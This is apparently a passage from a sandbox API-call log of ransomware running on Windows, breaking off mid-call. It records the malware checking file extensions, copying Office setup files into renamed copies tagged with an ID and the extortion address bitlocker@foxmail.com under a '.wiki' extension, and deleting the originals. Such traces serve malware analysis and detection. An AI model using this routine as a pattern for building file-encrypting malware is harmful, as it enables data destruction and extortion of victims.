[0049.050] lstrlenW (lpString=".1cd") returned 4 [0049.050] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.050] lstrlenW (lpString=".jpg") returned 4 [0049.050] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.050] lstrlenW (lpString=".doc") returned 4 [0049.050] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString=".docx") returned 5 [0049.050] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.050] lstrlenW (lpString=".pdf") returned 4 [0049.050] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString=".xls") returned 4 [0049.050] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString=".xlsx") returned 5 [0049.050] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.050] lstrlenW (lpString=".ppt") returned 4 [0049.050] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.050] lstrlenW (lpString=".zip") returned 4 [0049.050] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.050] lstrlenW (lpString=".rar") returned 4 [0049.050] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString=".bz2") returned 4 [0049.050] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.050] lstrlenW (lpString=".7z") returned 3 [0049.050] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.050] lstrlenW (lpString=".dbf") returned 4 [0049.051] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.051] lstrlenW (lpString=".1cd") returned 4 [0049.051] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0049.051] lstrlenW (lpString=".jpg") returned 4 [0049.051] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.051] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.051] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0049.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.361] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=6421) returned 1 [0049.361] CloseHandle (hObject=0x204) returned 1 [0049.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0049.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.362] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.362] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.580] GetLastError () returned 0x0 [0049.580] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1915, lpOverlapped=0x0) returned 1 [0049.596] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0049.597] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.597] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xee, lpOverlapped=0x0) returned 1 [0049.597] SetEndOfFile (hFile=0x1e8) returned 1 [0049.597] CloseHandle (hObject=0x1e8) returned 1 [0049.598] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.598] SetEndOfFile (hFile=0x204) returned 1 [0049.599] CloseHandle (hObject=0x204) returned 1 [0049.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.599] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0049.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.599] lstrlenW (lpString=".doc") returned 4 [0049.599] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.599] lstrlenW (lpString=".docx") returned 5 [0049.599] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0049.599] lstrlenW (lpString=".pdf") returned 4 [0049.599] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.599] lstrlenW (lpString=".xls") returned 4 [0049.600] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString=".xlsx") returned 5 [0049.600] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0049.600] lstrlenW (lpString=".ppt") returned 4 [0049.600] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.600] lstrlenW (lpString=".zip") returned 4 [0049.600] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.600] lstrlenW (lpString=".rar") returned 4 [0049.600] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString=".bz2") returned 4 [0049.600] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString=".7z") returned 3 [0049.600] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.600] lstrlenW (lpString=".dbf") returned 4 [0049.600] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.600] lstrlenW (lpString=".1cd") returned 4 [0049.600] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.600] lstrlenW (lpString=".jpg") returned 4 [0049.600] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.600] lstrlenW (lpString=".doc") returned 4 [0049.600] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString=".docx") returned 5 [0049.600] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0049.600] lstrlenW (lpString=".pdf") returned 4 [0049.600] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString=".xls") returned 4 [0049.600] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.600] lstrlenW (lpString=".xlsx") returned 5 [0049.600] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0049.600] lstrlenW (lpString=".ppt") returned 4 [0049.601] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.601] lstrlenW (lpString=".zip") returned 4 [0049.601] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.601] lstrlenW (lpString=".rar") returned 4 [0049.601] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.601] lstrlenW (lpString=".bz2") returned 4 [0049.601] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.601] lstrlenW (lpString=".7z") returned 3 [0049.601] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.601] lstrlenW (lpString=".dbf") returned 4 [0049.601] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.601] lstrlenW (lpString=".1cd") returned 4 [0049.601] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0049.601] lstrlenW (lpString=".jpg") returned 4 [0049.601] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.601] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.601] lstrlenW (lpString="VisioMUI.XML") returned 12 [0049.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.862] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=9503) returned 1 [0049.862] CloseHandle (hObject=0x200) returned 1 [0049.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0049.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.870] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.875] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.985] GetLastError () returned 0x0 [0049.985] ReadFile (in: hFile=0x200, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x251f, lpOverlapped=0x0) returned 1 [0050.012] WriteFile (in: hFile=0x1ec, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0050.014] ReadFile (in: hFile=0x200, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.015] WriteFile (in: hFile=0x1ec, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.015] SetEndOfFile (hFile=0x1ec) returned 1 [0050.015] CloseHandle (hObject=0x1ec) returned 1 [0050.016] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.016] SetEndOfFile (hFile=0x200) returned 1 [0050.017] CloseHandle (hObject=0x200) returned 1 [0050.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.018] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0050.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.018] lstrlenW (lpString=".doc") returned 4 [0050.018] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.018] lstrlenW (lpString=".docx") returned 5 [0050.018] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.018] lstrlenW (lpString=".pdf") returned 4 [0050.018] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.018] lstrlenW (lpString=".xls") returned 4 [0050.018] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.018] lstrlenW (lpString=".xlsx") returned 5 [0050.018] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.018] lstrlenW (lpString=".ppt") returned 4 [0050.018] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.018] lstrlenW (lpString=".zip") returned 4 [0050.018] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.018] lstrlenW (lpString=".rar") returned 4 [0050.018] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString=".bz2") returned 4 [0050.019] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString=".7z") returned 3 [0050.019] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.019] lstrlenW (lpString=".dbf") returned 4 [0050.019] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.019] lstrlenW (lpString=".1cd") returned 4 [0050.019] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.019] lstrlenW (lpString=".jpg") returned 4 [0050.019] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.019] lstrlenW (lpString=".doc") returned 4 [0050.019] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString=".docx") returned 5 [0050.019] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0050.019] lstrlenW (lpString=".pdf") returned 4 [0050.019] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString=".xls") returned 4 [0050.019] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString=".xlsx") returned 5 [0050.019] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0050.019] lstrlenW (lpString=".ppt") returned 4 [0050.019] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.019] lstrlenW (lpString=".zip") returned 4 [0050.019] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.019] lstrlenW (lpString=".rar") returned 4 [0050.019] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.019] lstrlenW (lpString=".bz2") returned 4 [0050.020] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.020] lstrlenW (lpString=".7z") returned 3 [0050.020] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.020] lstrlenW (lpString=".dbf") returned 4 [0050.020] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.020] lstrlenW (lpString=".1cd") returned 4 [0050.020] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0050.020] lstrlenW (lpString=".jpg") returned 4 [0050.020] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.020] lstrcmpiW (lpString1=".TXT", lpString2=".wiki") returned -1 [0050.020] lstrlenW (lpString="METCONV.TXT") returned 11 [0050.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.034] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1183416) returned 1 [0050.034] CloseHandle (hObject=0x200) returned 1 [0050.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0050.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.034] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.035] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0050.035] GetLastError () returned 0x0 [0050.035] ReadFile (in: hFile=0x200, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.102] WriteFile (in: hFile=0x1ec, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.439] ReadFile (in: hFile=0x200, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0050.448] WriteFile (in: hFile=0x1ec, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0050.454] ReadFile (in: hFile=0x200, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.454] WriteFile (in: hFile=0x1ec, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.454] SetEndOfFile (hFile=0x1ec) returned 1 [0050.454] CloseHandle (hObject=0x1ec) returned 1 [0050.465] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.465] SetEndOfFile (hFile=0x200) returned 1 [0050.467] CloseHandle (hObject=0x200) returned 1 [0050.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.749] lstrlenW (lpString=".doc") returned 4 [0050.749] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0050.749] lstrlenW (lpString=".docx") returned 5 [0050.749] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0050.749] lstrlenW (lpString=".pdf") returned 4 [0050.749] lstrcmpiW 